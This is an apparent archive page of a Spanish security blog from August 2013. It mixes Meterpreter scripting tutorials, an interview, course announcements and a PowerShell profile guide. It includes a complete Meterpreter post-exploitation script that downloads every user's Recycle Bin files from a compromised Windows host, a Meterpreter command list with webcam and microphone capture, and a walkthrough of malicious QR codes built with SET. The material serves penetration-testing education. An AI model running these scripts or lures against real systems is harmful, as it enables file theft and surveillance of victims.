- FPE1: Primer reto de Esteganografía Flu Project [Esteganografía] - (Solución)
- FPR2: Hashing, "Contrato para rato" [Hashing] - (Solución)
- FPR3: "Fusión" [Esteganografía] - (Solución)
- FPR4: "¿Quién es el mejor buscador?" [Esteganografía, Redes e Internet] - (Solución)
- FPR5: "¡Jackmi Amijo!" [Xpath Injection] - (Solución)
- FPR6 – ¡Killo! ¡onde está mi clave! [Reversing] - (Solución)
- FPR7 - Reto Forense: Guy! Where is the info? [Forense] - (Solución)
- FPR8 - Reto Hacking: BarceLOnas, ¿dónde está mi sobre? [Forense] - (Solución)
- FPR9 - Reto Hacking: Catástrofe aérea [Forense] - (Solución)
31 ago 2013
Nuestro próximo reto lo eliges tú
30 ago 2013
Meterpreter API (Parte II)
En esta entrada continuamos con la segunda parte de la "API" de Meterpreter. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:
- Encendiendo el horno: desarrollo de scripts de Meterpreter- Mixins de Ruby- Evasión de eventos en los scripts de MeterpreterSyntax: client.net.config.get_interfacesOutput: [......]Comment: Devuelve una lista de objetos de tipo interfaz disponibles en el equipo vulnerado. Los objetos disponen de atributos de tipo IP, net mask, mac address, etc.
Syntax: client.net.config.get_interfaces[0]Output: [......]Comment: Esto devuelve el primer objeto de clase interfaz.
Syntax: client.net.config.get_interfaces[1].ipOutput: 192.168.7.3Comment: Esto devuelve la dirección IP de la interfaz alojada en la posición 1 del listado de objetos interfaz de la máquina vulnerada.
Syntax: client.net.config.get_routesOutput:Comment: Lista las rutas disponibles en el equipo vulnerado.
Syntax: client.net.config.add_route("x.x.x.x","x.x.x.x","x.x.x.x")Output: trueComment: Añade una ruta en el equipo vulnerado. El primer parámetro es la subred, el segundo la máscara de red y el tercero es el gateway.
Syntax: client.net.config.remove_route("x.x.x.x","x.x.x.x","x.x.x.x")Output: trueComment: Elimina una ruta en el equipo vulnerado. El primer parámetro es la subred, el segundo la máscara de red y el tercero es el gateway.
Configuración del sistema
Syntax: client.sys.config.getuidOutput: "NT AUTHORITY\\SYSTEM"Comment: Devuelve la identidad del proceso donde se encuentra inyectado Meterpreter, propocionando el nivel de acceso.
Syntax: client.sys.config.sysinfo["Computer"]Output: "WINXP-1337"Comment: Devuelve el nombre del equipo.
Get the victims operating system name and version
Syntax: client.sys.config.sysinfo["OS"]Output: "Windows XP (Build 2600, Service Pack 2)."Comment: Devuelve el sistema operativo.
Get the victims operating system architecture
Syntax: client.sys.config.sysinfo["Architecture"]Output: "x86"Comment: Devuelve la arquitectura de la máquina vulnerada.
Get the victims operating system language
Syntax: client.sys.config.sysinfo["System Language"]Output: "en_US"Comment: Devuelve el idioma del sistema operativo.
Syntax: client.sys.config.revert_to_selfOutput: N.AComment: Permite revertir los privilegios del proceso.
29 ago 2013
Entrevista a María José Montes Díaz - Hackers & Developers
Hoy tengo el placer de presentaros una entrevista a una de las pocas mujeres que andan por el mundo de la seguridad. Es cierto que cada día son más, por suerte, y que realmente aportan ideas claras e interesantes. María José colabora en una revista Hackers & Developers, que para los que no la conozcáis deciros que es una manera interesante de transmitir el conocimiento del hacking y el software libre. Sin más dilación os dejo con la entrevista a María José:
1. La primera pregunta es totalmente obligada por el mundo al que nos dedicamos. Sabes que las mujeres no abundan en el mundo de la seguridad informática, ¿Qué opinas de esto?
Bueno, la verdad es que en el ámbito tecnológico en general, hay pocas mujeres. No soy socióloga, así que esta es mi opinión, y no sé si estaré en lo cierto, pero así es cómo lo veo: Creo que se debe a un tema educacional y social.Arrastramos una educación patriarcal, en la que el rol de la mujer tiende a ser de “cuidadora” (trabajos orientados a educación, sanidad, etc). Aunque se ha avanzado mucho en igualdad, todavía queda mucho trecho por recorrer.Desde pequeñitos, hasta la publicidad de los juguetes, tiende a ser sexista de manera más o menos sutil. Normalmente, los juegos relacionados con tecnología, suelen asociarse a niños y, los destinados a tareas de cuidados, a niñas. Esto, aunque poco a poco se va corrigiendo, hace que haya menos mujeres interesadas por la tecnología. Cuánto mayor es el nivel de igualdad en la sociedad, mayor es el número de mujeres que se interesan por la tecnología.En mi caso, he podido estar con niños y niñas. Su atracción por la tecnología no es muy diferente a esas edades. Lo que ocurre es que la sociedad les va “orientando” hacia determinados roles.
2. ¿Qué es lo que más te llama la atención del mundo de la seguridad?
¡Uf! Creo que es una pregunta algo difícil. En general, me siento atraída por todo. Cuándo veo demos de cómo colarse en una red e ir escalando privilegios, me parece, simplemente, asombroso. Claro, una vez descubierta la vulnerabilidad y publicado el exploit, la cosa parece simple. Lo realmente admirable es la capacidad que tienen algunas personas para descubrir este tipo de fallos.
A mi la parte de securizar servidores es la que me gusta. Es “divertido” eso de mantener un pulso con alguien que quiere colarse en el sistema :).
En el campo de seguridad me estoy formando actualmente. Es una rama de la informática que me apasiona.
3. Para los que no te conocen, ¿A qué te dedicas profesionalmente?
A la enseñanza no reglada. Trabajé como monitora de F.P.O (Formación Profesional Ocupacional), dando cursos de Informática a desempleados.. Este año he estado dando clase de programación en Python y Scratch a niños de seis a 12 años. Actualmente estoy preparando un curso “ Empezando con Python”, para quantika14.
4. Junto a otros compañeros lleváis la revista Hackers & Developers, ¿Cómo surge la idea?
La fundadora del proyecto es Eugenia Bahit. (@eugeniabahit). La idea es fomentar y difundir las tecnologías libres.
La publicación de la primera edición, nº0 Butterfly, llegó a mi mediante las redes sociales y me pareció un proyecto muy interesante, de esos de los que dices oye, me gustaría participar.
Un día me llegó una mención en Twitter por parte de Eugenia y Celia invitándome a participar, (me conocieron por el blog que había empezado a escribir sobre Arch), no tuve ninguna duda en unirme al proyecto, mi primera contribución fue en la nº 1, Cobra.
5. Para los que no os conozcan, ¿Qué es Hackers & Developers?
Es una revista mensual sin ánimo de lucro, que trata de contribuir al desarrollo y creación de conocimiento libre.
Sobre el término “Hackers”, me gustaría aclarar que nos basamos en el significado que le dio originalmente Richard Stallman, uno de los creadores del mismo. Según él, el término “hacker” hace referencia a un individuo que disfruta jugando con la inteligencia, con independencia de la informática. Añade que, el significado de “hacking” tiene que ver con “aplicar la inteligencia de forma divertida”.
6. Si alguien quiere colaborar con la revista, ¿Qué debe cumplir? ¿Es una revista abierta o bajo contrato? (pregunta difícil para nuestra invitada :D)
Pues sí, es una revista cerrada y aceptamos pagos de todo tipo, incluso sobres. Mordemos si alguien se acerca! XD
Por supuesto que es abierta y, aquell@s que quieran unirse, no tienen más que enviar un email a contacto@hdmagazine.org.con asunto "Staff2013", y contarnos un poco sobre sus inquietudes, intereses, por qué quiere unirse al proyecto, en definitiva, presentarse :)
Los requisitos están descritos aquí http://www.hdmagazine.org/more#requisitos
7. Una de nuestras típicas preguntas, y que siempre hacemos a los invitados es: ¿Qué opinas de Flu Project?
Pues me parece un gran proyecto. El desarrollo de un troyano para crear botnet y encima, disponer del código para poder comprender el funcionamiento, me parece genial.
8. Eres linuxera por vocación. En el mundo de la seguridad, ¿Con cuál distribución te quedas?
Si te refieres a pentensting, entre Backtrack y Kali Linux, dado que me gusta más Debian, elegiría Kali.
Hay un proyecto no oficial en Arch que merece la pena mirar: BlackArch. Está inspirado en Backtrack y, dado que Arch padece “versionitis”... En serio, me parece interesante.
En el caso de distribuciones para servidores, me gustaría decir que Arch, pero depende mucho de los servicios que se vayan a desplegar. En este caso, creo que la mejor opción es Debian. Aunque, si pretendemos virtualizar, una buena idea creo que es tener a Arch como host.
9. ¿Tu último libro?
No tengo todavía ningún libro publicado, aunque es una idea que lleva tiempo rondándome por la cabeza, así que, hace poco me decidí a escribir un libro de programación orientado a niños
10. ¿Tus próximos eventos?
Ahora mismo tengo dos:
Un taller en remoto sobre Arch, Nginx, Apache, y un poco de seguridad junto Miguel (@archuser), los días 31 agosto, 7 y 14 septiembre, en la Fundación Casa del Bosque de Bogotá (Colombia).
Y en Febrero estaré en cuenca MonterueloCon hablare sobre seguridad Wifi
Pues esto es todo, dar las gracias a María José por su espontaneidad y por dejarnos parte de su tiempo para llevar a cabo la entrevista. Recuerdos a @archuser, al cual no he desvirtualizado pero sí que conozco, y bueno ¿Quién será el próximo entrevistado en Flu Project? ¿Ideas?
28 ago 2013
Meterpreter: Investigando en el IRB
¿Qué es el IRB? Es un intérprete de Ruby con el que un desarrollador puede ejecutar órdenes en Ruby y obtener los resultados en pantalla. Es totalmente recomendable que las personas que acaban utilizando Metasploit, y seguramente Meterpreter, aprendan el lenguaje de programación Ruby. Meterpreter proporciona al auditor un intérprete con el que interactuar de manera directa con la máquina remota o comprometida. A priori, y según hemos ido viendo en los cursos que se han dado de Metasploit, a los auditores les cuesta ver la utilidad al IRB, pero esto generalmente es porque no controlan el lenguaje del intérprete. Es interesante ver la utilidad del IRB, y sobretodo lo que más nos interesa entender como funciona Meterpreter por debajo.
Hoy hablaremos de qué cosas hay en el IRB que puedan resultarnos de interés. Para poder seguir el artículo, y futuros artículos que vendrán se recomienda conocer el lenguaje Ruby. El objetivo final será manejarse por este entorno, y poder desarrollar scripts muy interesantes y útiles para la comunidad Metasploit.
En el IRB existen distintos objetos que se deberán de conocer. El más importante es el objeto client, el cual representa la máquina vulnerada y proporciona un gran número de acciones que iremos viendo. Existen comandos interesantes que proporciona el IRB de Meterpreter, por ejemplo context, extensions, commands, etc. El comando extensions alberga las extensiones que hay cargadas actualmente en el framework, en lo que a Meterpreter se refiere. El comando commands proporciona una serie de órdenes que pueden ser utilizadas en la consola de Meterpreter e información sobre dicho comando. Y por último, un comando muy interesante es el context. Este comando alberga el contexto en el que se encuentra Meterpreter, y los objetos disponibles en el IRB, dando información en algunos de atributos y métodos que pueden resultar de interés.
En este punto hay que hacer una nota mental para el futuro, ¿Por qué ejecuto commands o extensions y en uno me devuelve información entre [] y otro {}? Es Ruby puro y duro, entre corchetes simplemente es un array o lista, por lo que el comando extensions proporciona un array con las extensiones cargadas, mientras que la orden commands proporciona un tabla (denominadas hash, o clave -> valor). Como se puede ver existen pares separados por comas, a la izquierda de => es la clave, y a la derecha del => es el valor, por lo que si queremos acceder al contenido de la clave background, haríamos algo tal que así:
ordenes = commands #esto guarda la salida en una variable
ordenes['background'] #acceso a dicho contenido
El objeto client
El más importante y el que nos va a dar el control remoto sobre la máquina vulnerada. Sabemos que Meterpreter se comporta como un client y un servidor, o eso nos dice la teoría. Vamos a bajar un peldaño y vamos a ver como acceder a una especie de API de este Meterpreter, y como se van componiendo los componentes que están por debajo. Si en el IRB ejecutamos client a secas, el intérprete nos devolverá que existe una sesión abierta con una dirección IP y con una identidad sobre un equipo. El objeto client tiene muchos métodos, los cuales pueden ser enunciados mediante la invocación del método methods, por lo que es importante aprender a usar este tipo de método estemos en el objeto que estemos.
Tras ejecutar el método methods obtenemos un listado en formato de array, el cual nos permite ya ver algunos aspectos importantes y que se pueden visualizar en la API de Meterpreter. Se puede visualizar el paquete core, fs, sys, net, railgun, webcam, ui, priv, entre otros. Ahora para movernos por estos elementos interesantes existen dos maneras, si son una clase final o si no lo es, ¿Cómo lo sabemos? Sencillo, ejecutamos, por ejemplo, client.fs y client.fs.file y obtenemos dos tipos de salida. En la primera podemos observar que hay tres elementos más por debajo, dir, file y filestat, mientras que en la segunda vemos que ya es una clase. En ambos casos podemos visualizar sus métodos a través del método methods.
Para acabar hoy, veremos como acceder a estas funciones de una clase y poder sacar algo de provecho de nuestra toma de contacto con el IRB de Meterpreter. Utilizaremos SYS a través del objeto client, ejecutando la siguiente instrucción: client.sys.process.get_procesess.
Se puede observar como primero se busca la clase process, y después se almacena en la variable procesos la llamada al método get_processes de la clase process. Ahora utilizaremos los conocimientos de Ruby para pintar bonito los procesos, mediante su nombre y su PID. Antes de poner el código analicemos en qué formato nos devuelve el método get_processes su información. Hay que ver que lo primero es [ por lo que sabemos que es una lista, y los elementos de su interior empiezan por { por lo que ya sabemos que es una lista de claves-valor.
procesos.each do |p|print_line "PID: #{p['pid']} Nombre: #{p['name']}"end
Esto es todo por hoy, toma de contacto con el IRB y como moverse con él. Recordar que si queréis empezar a desarrollar scripts para Meterpreter, o módulos de Metasploit, no os perdáis la serie de Flu Project.
27 ago 2013
Apúntate ya al curso de Análisis Forense en iOS, Android y Windows de la NcN
Buenas a todos, como cada año el próximo mes de Noviembre se celebra una nueva edición del congreso No cON Name, el más antiguo a nivel nacional y uno de los mejores a nivel europeo, en el que se dan cita profesionales del mundo de la seguridad de la información para compartir sus conocimientos con otros miembros de la comunidad. Este año tengo el enorme placer de impartir una de las formaciones que se realizan en los días previos al congreso, y que tratará sobre una de las temáticas que más me apasionan, las ciencias forenses.
El curso es de un día de duración (8 horas), se celebrará el 31 de octubre de 9:30 a 20:00h, y a lo largo de él tendréis la oportunidad de aprender los siguientes contenidos:
Evidencia digital (1 hora)
- La obtención de evidencias. Herramientas HW y SW.
- Metodología para la adquisición de evidencias.
- RFC 3227.
- Firmado de evidencias.
- La cadena de custodia.
Análisis de datos (1 hora)
- Tratamiento de evidencias.
- El principio de Locard.
- La línea temporal.
- Buscando información a través de aplicaciones forense.
Correo electrónico (30 minutos)
- Análisis forense de correo electrónico
Forense de aplicativos (1:30 horas)
- Forense en redes de datos.
- Forense de memoria RAM.
- Análisis de malware.
Forense de dispositivos móviles iOS y Android (3 horas)
- Introducción a la seguridad en dispositivos móviles: Arquitectura del sistema iOS, Seguridad en sistemas iOS, Arquitectura del sistema Android y Seguridad en sistemas Android
- Vulnerabilidades y exploits
- Reversing de aplicaciones móviles
- Análisis Forense: Preservación de evidencias, Obtención de información del dispositivo, Obtención de datos de la tarjeta SD, Volcado de memoria RAM, Adquisición de imagen física de la memoria interna, Live Forensics, Adquisición de información de la tarjeta SIM e Informe
Elaboración del informe pericial (30 minutos)
- Objetivo y elaboración del informe.
- Puntos clave.
Tendrémos muchas demostraciones prácticas durante todo el curso con dispositivos Windows, iOS y Android.
Además, durante el curso os tengo alguna que otra sorpresa preparada con algunos juguetes menos comunes :-)
El temario del curso que he seleccionado para la formación creo que es muy completo e interesante, y en solo 8 horas os permitirá empezar a caminar solos en el mundo de los análisis forenses, para que en el futuro os podáis convertir en grandes expertos. Igualmente la formación os será de utilidad para afianzar conocimientos o profundizar en un área concreta que sea de vuestro interés.
No hace falta que tengáis conocimientos previos en Análisis Forense, empezaremos desde 0, pero si es recomendable haber trabajado previamente con Windows, iOS y Android, para agilizar las prácticas del curso.
El precio del curso es de 200€ e incluye desayuno y bufet libre, así como algún que otro regalo sorpresa como detalle que mi empresa, everis, tendrá con los asistentes.
Además, aprovecho para recordaros que la inscripción y pago de todas las formaciones de la NcN incluyen la entrada gratuita al Congreso No cON Name edición 2013.
Para más información acerca de ésta y otras formaciones:
http://noconname.org/evento/
Para cualquier duda acerca de los contenidos del curso podéis contactarme en:- Email personal: jantonio.calles[arroba]flu-project.com
- Email corporativo: juan.antonio.calles.garcia[arroba]everis.com
- Twitter: @jantoniocalles
26 ago 2013
Meterpreter Scripts: Garbage Collector en Rapid7
#Autor: Pablo Gonzalez
#Windows Garbage Collector v1
if client.platform !~ /win32|win64/
print_line “No compatible”
raise Rex::Script::Completed
end
opts = Rex::Parser::Arguments.new(
“-h” => [false, "Help menu"],
“-g” => [false, "GarbageCollector"],
“-o” => [false, "Only Files"]
)
info = client.sys.config.sysinfo()
if info['OS'] =~ /Windows XP/
garbage = ‘c:\\Recycler\\’
else
garbage = ‘c:\\$Recycle.bin\\’
end
- -h, siempre utilizado para la ayuda
- -g Nos permite descargar todos los archivos y carpetas de todos los usuarios del sistema que se encuentran en la papelera de reciclaje.
- -o Nos permite descargar solo los ficheros de todos los usuarios del sistema que se encuentran en la papelera.
opts.parse(args) { |opt, idx, val|
case opt
when “-h”
print_line “Help Menu”
print_line(opts.usage)
raise Rex::Script::Completed
when “-g”
print_status “Recursive Downloading Garbage…”
downloading(garbage,”./”)
when “-o”
print_status “Downloading Garbage…”
dirs = client.fs.dir.entries(garbage)
dirs.each {|i|
if i != “.” && i != “..”
print_status i
#Descarga del contenido de una carpeta, ficheros de una carpeta
if !File.exists?(i)
Dir.mkdir(“~/”+i)
end
client.fs.dir.download(“./”+i, garbage+i)
end
}
end
}
def downloading(remoto,local)
print_status remoto
dirs = client.fs.dir.entries_with_info(remoto)
dirs.each do |d|
next if d["FileName"] == “.” || d["FileName"] == “..”
mode = d["StatBuf"].stathash["st_mode"]
if mode.to_s =~ /(^16)|(^17)/
print_status “It is a directory #{mode} #{d["FilePath"]}”
if !::File.exists?(local+d["FileName"])
Dir.mkdir(local+d["FileName"])
end
client.fs.dir.download(local+”/”+d["FileName"],d["FilePath"])
downloading(d["FilePath"],local+d["FileName"]+”/”)
else
print_status “It is a file #{mode} #{d["FilePath"]}”
client.fs.file.download(local+”/”+d["FileName"],d["FilePath"])
end
end
end
- El pentester consigue una sesión de Meterpreter en una máquina vulnerada mediante la explotación de alguna vulnerabilidad.
- La recogida de información mediante los scripts winenum y scraper es realmente interesante. Incluso GarbageCollector se podría integrar con dichos scripts, pero a día de hoy no lo está.
25 ago 2013
Informe Flu - 138
Como cada semana nos encontramos ante nuestros “Enlaces de la semana”. Lo que ha ocurrido durante la semana en Flu Project ha sido lo siguiente:
Lunes 19 de Agosto
- Juanan sigue con su serie, y ya van 6 artículos, sobre los escáneres de vulnerabilidades web, ¿Cuál prefieres?
Martes 20 de Agosto
- El martes hablamos sobre ingeniería social y los nuevos vectores de ataque que proporcionan las nuevas tecnologías. En esta ocasión hablamos de los QRCode y como aprovecharnos para ganar acceso.
Miércoles 21 de Agosto
- El miércoles poníamos a vuestra disposición parte de la API de Meterpreter, para que vayáis programando vuestras funcionalidades para este magnífica payload.
Jueves 22 de Agosto
- El jueves solucionamos nuestro reto del mes de Agosto, ¿Conseguisteis resolverlos? BarceLOnas!
- Los nuevos peligros en formato smartphone, el señor meterpreter desembarca en Android. Una variación del payload para plataformas Java ha llegado a Android, ¿Quieres ver una PoC de su funcionamiento?
Sabado 24 de Agosto
- Aprende a programar con Codecademy, un portal totalmente recomendado para aprender lenguajes, como Ruby, Python, JQuery, HTML5, etc...
24 ago 2013
Codecademy: Aprende a programar
En una de esas noches de verano en la que navegas sin un rumbo fijo por Internet, e investigando un poco sobre las Raspberries, me topé con un niño llamado Nicholas, el cual se había programado una app que interactuaba con un iPad a través de su Raspberry en Python. El chico había aprendido a programar python meses antes en Codecademy, lo cual me llamó mucho la atención.
En esta especie de escuela de programación interactiva puedes aprender distintos lenguajes de programación, los que más me llamaron la atención fue Python y Ruby. Ya sabéis que Ruby me interesa mucho por el tema de Metasploit y su desarrollo. En Codecademy se presentan distintos tutoriales donde nos indican que debemos ir programando y como ir haciéndolo, es un modelo instructor-guiado muy sencillo e intuitivo. En la siguiente imagen podéis ver, como a la izquierda nos presentan la lección, y nos dejan un área para ir programando lo que nos piden.
Por otro lado, a la derecha del navegador dispondremos de una consola de salida del código que nosotros programemos. Es bastante intuitivo y fácil de manejar. Un vez se consiga finalizar con éxito la lección en la que nos encontremos, evaluando el código que nosotros programamos, nos proporcionan acceso a otra lección más avanzada.
Este verano, si tienes tiempo entre tinto de verano y tinto de verano, te animamos a que pruebes Codecademy y refresques tus conocimientos en los lenguajes de programación que más te interesen.
23 ago 2013
Meterpreter en Android: El desembarco en tu smartphone
Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getuid Get the user that the server is running as ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam
22 ago 2013
#FPR8 - Solución al Reto Hacking: BarceLOnas, ¿dónde está mi sobre?
21 ago 2013
Meterpreter API (Parte I)
En este artículo el objetivo es ayudar al desarrollador de scripts de Meterpreter a localizar y conocer funciones que le serán útiles, y objetos que pueden facilitar mucho la vida del desarrollador. Hoy nos centramos en las operaciones más comunes sobre el File System en general. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:
- Encendiendo el horno: desarrollo de scripts de Meterpreter
- Evasión de eventos en los scripts de Meterpreter
Comenzemos! ( =begin )
Para listar directorios:
Syntax: client.fs.dir.entriesOutput: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]Comment: Para listar directorioSyntax: client.fs.dir.entries("c:\\")Output: ["sample_file.txt","dummy_directory","myfile.exe"]Comment: Para listar unidad CSyntax: client.fs.dir.entries_with_infoOutput: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar directorio con más informaciónSyntax: client.fs.dir.entries_with_info("c:\\")Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar unidad C con detallePara operar sobre directorios:Por hoy esto es todo, más información en la web de Oldman, un blog interesante el cual hemos querido rescatar, proporcionando el trabajo que esta persona realizó. En el próximo artículo nos centraremos en redes y OS, para que podáis diseñar e implementar vuestros scripts de Meterpreter.
Fin ( =end )20 ago 2013
Vector de ataque: QRCode
Los QRCode han generado un nuevo vector que puede ser explotado por la ingeniería social. ¿Cómo? El vector de ataque para generación de QRCode permite al usuario crear este tipo de imágenes que pueden ser leídas e interpretadas por aplicaciones móviles. La ingeniería social mediante el uso de QRCode propone utilizarlos para publicar dichas imágenes en el mayor número de sitios, es decir de forma masiva, y conseguir que los, cada vez más, usuarios de smartphones puedan caer en la trampa. Generalmente, después de un QRCode malicioso se encuentra un sitio web, el cual también podría ser montado con SET con la opción “Website Attack Vectors”, y nuestro gran amigo Metasploit, siempre de fondo, en nuestras oscuras intenciones.
Ejemplificando el procesoUtilizaremos la posibilidad de generar QRCode a través de SET, Social Engineer Toolkit, para enlazar a un usuario con un sitio web malicioso. El escenario montado es en una red local, donde todo dispositivo se encuentra controlado, habría que imaginar dicho escenario en Internet.
La imagen es almacenada en la ruta /pentest/exploits/set/reports/ en formato PNG. Esta imagen será colocada en otros sitios web o mandada vía mail para conseguir que las víctimas tras la lectura del QRCode se conecten al servidor web malicioso. Hay que recordar que existen lectores QRCode que no informan del recurso al que se conectan, es decir automáticamente intentan acceder al recurso al que apunta el QRCode. En la imagen se puede visualizar el QRCode generado gracias al uso de SET.
¿Lo leeréis? ¿Qué pone en el QRCode realmente? :D19 ago 2013
Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte VI
Buenas a todos, en el post de hoy continuaremos con la cadena “Escáneres de vulnerabilidades Web ¿Cuál es tu preferido?” en la que estamos recopilando un listado con las herramientas más útiles para auditar aplicaciones de tipo web.
Hoy seguiremos la cadena hablando de la herramienta IBM Rational AppScan.
Antes conocida como Watchfire AppScan, IBM Rational AppScan es una herramienta de prueba de seguridad de aplicaciones Web desarrollada por IBM, que automatiza las evaluaciones de vulnerabilidad y escanea y prueba las vulnerabilidades comunes de aplicaciones Web incluyendo inyección SQL, scripting entre sitios, desbordamiento de buffer y nuevos escaneos de exposición Web 2.0 y aplicaciones flash/Flex.
Su uso es muy sencillo y cuenta con un wizard con el que podremos automatizar un escaneo. Siguiendo la política que hemos adoptado en el resto de posts de la cadena, realizaremos un escaneo por defecto sobre el portal web de Badstore:
Tras un par de minutos, AppScan nos devolverá un completo reporte sobre las vulnerabilidades e información localizada en Badstore:
A continuación actualizaremos la lista de herramientas con la nueva información:Aplicación | Alertas totales | Vulnerabilidades de Inyección SQL |
Acunetix | 117 | 29 |
IBM Rational AppScan | 59 | 1 |
W3af | 53 | 6 |
Vega | 24 | 2 |
Websecurity Scanner | 18 | 5 |
Wikto | 13 | 0 |
Webcruiser | 5 | 2 |
Como veis, AppScan es una herramienta muy buena para realizar auditorías de seguridad, sin embargo, parece que no llega a la altura de Acunetix. Es interesante comentar, en favor de AppScan, que aplicaciones como W3af, Websecurity Scanner o Acunetix detectan por ejemplo la vulnerabilidad de inyección SQL detectada por IBM Rational AppScan como varias distintas, al encontrarse en varios puntos de la aplicación, por lo que los resultados de la tabla no son 100% reales.
Nos vemos en el siguiente post,
Saludos!
18 ago 2013
Informe Flu – 137
Como cada semana nos encontramos ante nuestros “Enlaces de la semana”. Lo que ha ocurrido durante la semana en Flu Project ha sido lo siguiente:
Lunes 12 de Agosto
- Mitigar los ataques Pass The Hash (PtH Attack) – Parte III, un artículo para nuestra biblioteca hacker
Martes 13 de Agosto
- El martes continuamos con nuestra cadena de artículos "Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte V". Ya hemos analizado 6 herramientas y seguiremos estudiando muchas más. ¿Cuáles nos recomendáis para futuros artículos?
Miércoles 14 de Agosto
- El miércoles Pablo nos habló sobre Powershell en su post Seguridad y PowerShell (Parte VI), donde veremos como enmascarar contraseñas.
Jueves 15 de Agosto
- El jueves comenzamos un nuevo reto forense en Flu Project: #FPR8 – Reto Hacking: BarceLOnas, ¿dónde está mi sobre?. El reto lo resolveremos la semana que viene. ¿Ya lo habéis resuelto?
- El viernes volvimos a hablar de Forense en el post Herramientas forense para ser un buen CSI. Parte XXXIV: Recuperando el Software instalado
- Ayer Pablo nos enseñó a tunear nuestra PowerShell
17 ago 2013
Tunéate tu PowerShell
El post de hoy, en pleno Agosto y siendo sábado, lo dedicamos a tunearnos nuestra PowerShell conociendo los ficheros profile, los cuales permiten configurar todo lo que queramos realizar al arrancar nuestra PowerShell.
Un perfil es un archivo o conjunto de éstos que especifican la configuración y personalización de un entorno o aplicación. En PowerShell también existe el concepto de perfil. En PowerShell se pueden distinguir lo que es la shell de sistema, junto a las shell con módulos cargados de otros productos. Por ejemplo, con Windows 7 se dispone por defecto de una PowerShell para el sistema.
Existen 4 perfiles, jerarquizados por 2 tipos:
- $env:userprofile\Mis documentos\Windows PowerShell\profile.ps1. Es un perfil para todos los escenarios dónde se ejecuta PowerShell, ya sea shell de sistema o shell de otros producto.
- $env:userprofile\Mis Documentos\Windows PowerShell\ Microsoft.PowerShell_profile.ps1 Es un perfil para sólo el entorno PowerShell instalado por defecto, la shell del sistema.
- $env:windir\system32\Windows PowerShell\v1.0\profile.ps1 Perfil para todos los escenarios, y para todos los usuarios de la máquina.
- $env:windir\system32\Windows PowerShell\v1.0\ Microsoft.PowerShell_profile.ps1 Perfil para el entorno PowerShell instalado por defecto, que se aplica a todos los usuarios.
- $env:windir\system32\Windows PowerShell\v1.0\profile.ps1
- $env:windir\system32\WindowsPowerShell\v1.0\ Microsoft.PowerShell_profile.ps1
- $env:userprofile\Mis documentos\Windows PowerShell\profile.ps1
- $env:userprofile\MisDocumentos\WindowsPowerShell\ Microsoft.PowerShell_profile.ps1
Los perfiles no vienen creados por defecto, por lo que hay que crearlo a través de PowerShell o creando un archivo del tipo PS1. Se puede utilizar la variable $profile para indicar cual debe ser la ruta de creación del perfil de tipo usuario. Para crear los perfiles de máquina se debe ser administrador. El fichero con el perfil no es más que una serie de instrucciones de línea de comandos, muy similar a los perfiles en otras shell. Un ejemplo sería:
#profile.ps1#área para alias y variablesset-alias procesos –value get-process$usuario = $env:username#área para definición de funcionesfunction hora {get-date}function prompt {‘PS ‘ + $(get-location) + ‘ ‘ + $(date) +’ > ’}……#otras áreas útiles para el usuario#mensaje de bienvenida al ejecutar la shell$user = [System.security.principal.Windowsidentity]::GetCurrent()write-host Hola $($user.name) , bienvenido a PowerShell
16 ago 2013
Herramientas forense para ser un buen CSI. Parte XXXIV: Recuperando el Software instalado
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
En algunas claves, el nombre del software instalado nos aparecerá directamente como nombre de clave, y en otras, podremos acceder a ellos a través de la subclave "DisplayName":
Esta clave puede ser fácilmente accedida de manera automática desde la herramienta WRR, cargando el archivo "SOFTWARE" que encontraréis en la siguiente ruta de Windows:
C:\Windows\System32\config
Es importante destacar que si estáis haciendo un "forense en vivo" no os va a dejar acceder al archivo, porque se encontrará en uso, por lo que tenéis que recuperarlo desde otro sistema mapeando la unidad C (o la correspondiente) del disco duro (recordad que siempre en un forense es recomendable hacerlo en modo lectura para no contaminar las muestras).
Nos vemos en el próximo post.
Saludos!
15 ago 2013
#FPR8 - Reto Hacking: BarceLOnas, ¿dónde está mi sobre?
Buenas a todos, hoy damos comienzo al octavo reto hacking de Flu Project. El reto mezcla muchos de los contenidos abordados a lo largo de la cadena "Herramientas Forense para ser un buen CSI", por lo que no tendréis mayor problema en resolverlo con un poco de tiempo y paciencia. En una semana publicaremos el solucionario al reto. Como de costumbre, podéis enviarnos vuestras soluciones a nuestro email info@flu-project.com, y si son correctas, podrán ser publicadas en el blog ¡Comenzamos!
BarceLOnas, ¿dónde está mi sobre?
A la atención de D. Enrique García García,
